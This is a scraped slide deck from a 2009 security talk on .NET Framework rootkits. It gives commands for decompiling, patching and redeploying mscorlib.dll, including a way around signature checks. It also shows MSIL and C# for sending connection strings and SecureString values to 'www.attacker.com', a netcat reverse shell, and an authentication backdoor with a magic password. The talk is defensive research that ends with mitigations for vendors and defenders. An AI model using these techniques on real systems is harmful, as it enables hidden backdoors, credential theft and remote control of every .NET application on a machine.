490 likes | 590 Views
NET Framework Rootkits: Backdoors inside your Framework. Erez Metula, Application Security Department Manager, Security Software Engineer, 2BSecure ErezMetula@2bsecure.co.il. April 17, 2009. Agenda. Introduction to .NET execution model Tampering with programming language implementation
E N D
NET Framework Rootkits: Backdoors inside your Framework Erez Metula, Application Security Department Manager, Security Software Engineer, 2BSecure ErezMetula@2bsecure.co.il April 17, 2009
Agenda • Introduction to .NET execution model • Tampering with programming language implementation • Deploying malware inside the Framework • Malicious code injection • Automating the process with .NET-Sploit • Attack scenarios • Q & A
Why focusing on .NET Framework? • Advanced mainstream development platform, on the rise Job trends (indeed.com) Computer books trends (O’Reilly) • Able to run several languages (c#, c++, vb.net, etc.) • Installed on almost every windows machine • Available on other OS (project mono) - linux , solaris, mac, etc.. • Execution model similar to other platforms (such as java)
Overview of .NET execution model • High level code is compiled to MSIL (CIL) • The CLR generates native code on the fly • JIT (Just-In-Time) • It uses BCL library code
BCL (Base Class Library) • Shared among all .NET languages • Classes for IO, threading, database, text, graphics, console, sockets, web, security, cryptography, COM, etc…
MSIL (Microsoft intermediate Language) • Pseudo-assembly, Object “aware” intermediate language. Some instructions: • Add, mul, call, ret • Stloc – Store stack value into local variable • Ldstr - loads a string on the stack • Newobj, throw, catch • All calls are stack-based • Also known an CIL
Is it possible to change a programming language? • Example - Changing WriteLine(string s) implementation • Sample test application calling WriteLine static void Main(string[] args) { Console.WriteLine("Hello (crazy) World!"); } • Let’s make WriteLine(string s) to print every string twice
Modified WriteLine(s) MSIL code Original code: • Original code of WriteLine: • Modified code: Print #1 (same as before) Print #2 (duplicate) Modified code:
.NET application (Winform/Web) static void Main(string[] args) { Console.WriteLine("Hello (crazy) World!"); } .Net Class Library public void WriteLine ( string value ) { //Framework’s implementation of WriteLine() //low level code for printing } public void WriteLine ( string value ) { //Framework’s implementation of WriteLine() //low level code for printing //low level code for printing (duplicate) } mscorlib.dll User interface Hello (crazy) World Hello (crazy) World Windows APIs and services
Why tampering the Framework? • An ideal, overlooked place for code hiding • Low level access to important methods • Large attack surface / success rate • Pre-installed (windows server 2003 and above) • Recommended update • Backdoors hidden from code review audits • Controlling all Framework applications • Object Oriented malware
Patching .NET Assemblies • 2 options • Decompile, code edit, recompile • Direct binary (exe/dll) patching • Patching the Framework requires high privileges • Housekeeping / Post exploitation attacks • Insider threat
Tools • Filemon – locating which DLL’s are used and their location in the GAC • Reflector – analyzing the DLL code • Ilasm – compiling (MSIL -> DLL) • Ildasm – decompiling (DLL -> MSIL) • Text editor – modifying the MSIL code • Ngen - native compiler
Overview - Framework modification steps • Framework modification can generally be described by those steps • Locate the DLL in the GAC • Decompile it • ILDASM mscorlib.dll /OUT=mscorlib.dll.il /NOBAR /LINENUM /SOURCE • Modify the MSIL code • Recompile it • ILASM /DEBUG /DLL /QUIET /OUTPUT=mscorlib.dll mscorlib.dll.il • Force the Framework to use our patched DLL
Modifying the MSIL code • Possibilities • Add extra code • “Function injection” • Add hooking (pre / post) • Remove specific lines of code • Modify properties, values, etc.. • Pay attention to • Line number recalculation • Stack size might grows
Code reuse - Function injection • Extend the Framework with new methods (“functions”) • Provide “malware API” to the payload code which uses it • Deploy once, use many times • Let’s take a look at 2 examples • Void SendToUrl(string url, string data) • Void ReverseShell(string ip, int32 port) • Will be used later on
SendToUrl(string url, string data) • Usage: transfer data from the victim machine to the attacker • Parameters: url – the attacker’s collector page data – the data to send • Data transfer is implemented as an innocent http web request
SendToUrl implementation .method public hidebysig static void SendToUrl(string url, string data) cil managed { .maxstack 8 IL_0000: nop IL_0001: ldarg.0 IL_0002: ldarg.1 IL_0003: call string System.String::Concat(string,string) IL_0008: call class [System]System.Net.WebRequest [System]System.Net.WebRequest::Create(string) IL_000d: callvirt instance class [System]System.Net.WebResponse [System]System.Net.WebRequest::GetResponse() IL_0012: pop IL_0013: ret }
ReverseShell(string ip, int32 port) • Usage: open reverse shell to the ip,port • Parameters” ip – the attacker’s address port – the attacker’s listening port
ReverseShell implementation • SendToUrl MSIL Code (omitted): .method public hidebysig static void ReverseShell(string ip, int32 port) cil managed { .maxstack 3 .locals init ([0] string cmdfilename, [1] string filename, [2] uint8[] netcat, [3] class System.IO.BinaryWriter binWriter1,[4] uint8[] cmd, [5] class System.IO.BinaryWriter binWriter2,[6] string arguments, [7] class [System]System.Diagnostics.Process proc, [8] object[] CS$0$0000) IL_0000: nop IL_0001: ldstr "cmd.exe" IL_0006: stloc.0 IL_0007: ldstr "netcat.exe" IL_000c: stloc.1 … … IL_0101: pop IL_0102: ret } // end of method ::ReverseShell
Deploying the modified DLL • gacutil.exe is useless • Modified DLL has a different signature • Public key token - shortened id generated by the last 8 bytes of the SHA-1 hash of the RSA public key. • Example • mscorlib.dll - b77a5c561934e089 • Replacing the signing keys is one option.
Manipulating the Loader • The loader can be manipulated • Public key token (signature) as a file mapper • Example: c:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\ • Naive loading - It loads a DLL from a GAC directory with same name • No signatures are checked
Reverting back from NGEN Native DLL • NGEN is in our way! • JIT optimizer - Compiles .NET assemblies into native code • A cached NGEN’ed version is used • Solution - Disable/Refresh the old DLL Example: • ngen uninstall mscorlib • Enable it again using our modified DLL
Automating the process with .NET-Sploit • A general purpose .NET binary modification tool • Able to perform all previous steps • Modify a given function • Inject payloads (pre/post injection modes) • Execute payloads • Generate deployers • Easy to extend by writing new modules
.NET-Sploit modules concept • Concept inspired from H.D. Moore’s amazing “metasploit” exploit platform. • Generic modules concept • Function – a new method • Payload – injected code • Reference – external DLL reference • Item – injection descriptor • Comes with a set of predefined modules
Item example Target DLL Location <CodeChangeItem name="Send data to URL"> <Description>call SendToUrl from inside WriteLine()</Description> <AssemblyName> mscorlib.dll </AssemblyName> <AssemblyLocation>c:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089 </AssemblyLocation> <AssemblyFunc> <FileName> SendToUrl_generic.func </FileName> <Location><![CDATA[} // end of class System.Object]]></Location> <BeforeLocation>TRUE</BeforeLocation> </AssemblyFunc> <AssemblyCode> <FileName> SendStringPOC.payload </FileName> <Location><![CDATA[ instance void WriteLine() cil managed ]]></Location> <StackSize>8</StackSize> <InjectionMode> Append </InjectionMode> </AssemblyCode> </CodeChangeItem> New Function New Code
<CodeChangeItem name="print every string twice"> • <Description>print every string twice</Description> • <AssemblyName>mscorlib.dll</AssemblyName> • <AssemblyLocation>c:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089</AssemblyLocation> • <AssemblyCode> • <FileName>writeline_twice.payload</FileName> • <Location><![CDATA[.method public hidebysig static void WriteLine(string 'value') cil managed]]></Location> • <StackSize>8</StackSize> • <InjectionMode>Post Append</InjectionMode> • </AssemblyCode> • </CodeChangeItem>
COPY - Item example Target Location <CodeChangeItem name="print twice"> <Description>change WriteLine() to print every string twice</Description> <AssemblyName> mscorlib.dll</AssemblyName> <AssemblyLocation>c:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089 </AssemblyLocation> <AssemblyCode> <FileName> writeline_twice</FileName> <Location> <![CDATA[ instance void WriteLine() cil managed]]> </Location> <StackSize>8</StackSize> <InjectionMode> Append </InjectionMode> </AssemblyCode> </CodeChangeItem> Injected Code Hooking point Mode
.NET Framework Rootkits • Things you can do with it • API Hooking • Code manipulation • Resource hiding (file,process,port…) • Covert Channels / reverse shells • Proxy (bouncer) • Backdoors • Polymorphism attacks
Important places • Classes • Class Security.Cryptography • Class Reflection.MemberInfo • Class Security.SecureString • Class TextReader • Methods • FormsAuthentication::Authenticate() • Forms.Application::Run() • SqlConnection::Open() • DNS::GetHostAddresses() • CodeAccessPermission::Demand()
Some examples of logic manipulation • Sensitive data theft • Authentication Backdoors • Reverse shells • DNS fixation • Crypto attacks • Permanent HTML/JS injection • Disabling security mechanisms
Form credential stealing • Authenticate() is used by all applications performing authentication • Send the credentials to the attacker: Original code (end of authenticate) Modified code(post injection) Post injected
Authentication backdoors • Conditional authentication bypass • Example – if password is “MagicValue” • Backdooring .NET’s Authenticate() method
Reverse shell • Call ReverseShell() from any method to create the connection • Example – connect when Run() is called • To 192.168.50.129 , port 1234 Modified code (pre injection) Original code Pre injection
Stealing connection strings • SqlConnection::Open() is responsible for opening DB connection • “ConnectionString” variable contains the data • Open() is called, ConnectionString is initialized • Send the connection string to the attacker public override void Open() { SendToUrl(“www.attacker.com”, this.ConnectionString); //original code starts here … }
DNS fixation • Fixate Dns.GetHostAddresses() return IP address • Affects ALL .NET’s network API methods • Payload: fixate_specific_ip_to_function_argument_0.payload • Item: Fixate DNS response to specific ip.item
Crypto attacks • Tampering with Cryptography libraries • False sense of security • Some scenarios: • Key fixation and manipulation • Key stealing • Algorithm downgrade • example – encryption key fixation: Modified
Permanent HTML/JS injection • Tamper with internal HTML/JS generated by the Framework • Inject permanent code into code templates • Persistent XSS • Man-in-the-Middle • Defacement • Browser exploitation framework (xss-shell)
SecureString stealing • In-memory encrypted string for sensitive data usage • Probably contains valuable data ! • Example - send this data to the attacker: IntPtr ptr = System.Runtime.InteropServices.Marshal.SecureStringToBSTR(secureString); SendToUrl(“www.attacker.com”, System.Runtime.InteropServices.Marshal.PtrToStringBSTR(ptr));
Disabling security mechanisms • CAS (Code Access Security) is responsible for runtime code authorizations • Security logic manipulation • CodeAccessPermission::Demand() • FileIOPermission, RegistryPermission, etc. • Applications will not behave according to CAS policy settings • It seems like the app is restricted while it’s not
Things to consider when injecting • Pre / Post consideration • Places to inject your code • Object Oriented and inheritance • References to assemblies • Stack size usually grows • File size changes • Removing traces with NGEN
Malware development scenarios • Changing a language class libraries can lead to some very interesting attacks • Deploy many types of malicious software • Backdoors • Rootkits • Viruses • Spyware • Worms • Etc..
Call for action AV vendors – Block Framework tampering attempts Microsoft – Raise the bar. It’s too low! Code obfuscation Kernel level protection IT - File tampering detectors (ex: tripwire) Auditors/testers – know about this malware hiding place Forensics – look for evidence inside the Framework Developers – your app is secure as the underlying framework End users – be aware of this kind of stuff!
…And what about other platforms? • The concept can be applied to all VM platforms • Application virtual machines (short list) • .NET (CLR) • Java Virtual Machine (JVM) • Dalvik virtual machine (Google Android) • PHP (Zend Engine) • Flash Player / AIR - ActionScript Virtual Machine (AVM) • SQLite virtual machine (VDBE) • Perl virtual machine
Java? • An example for another platform • Some minor differences • Library location (java lib directory) • Packging (jar) • Signature mechanism (jar signing) • Java can be manipulated the same way • DEMO - If time permits… • Tampering with The JRE Runtime (rt.jar)
References • Ken Thompson, C compiler backdoors “Reflections on Trusting Trust”http://cm.bell-labs.com/who/ken/trust.html • Dinis Cruz, “the dangers of full trust applications” http://www.owasp.org/index.php/.Net_Full_Trust • MATERIAL • Whitepaper, .NET-Sploit Tool, Source code • More information can be obtained at http://www.applicationsecurity.co.il/.NET-Framework-Rootkits.aspx
Summary Modification of the framework is easy Malicious code can be hidden inside it Can lead to some very interesting attacks It does not depend on specific vulnerability It is not restricted only to .NET
Thank you ! ErezMetula@gmail.com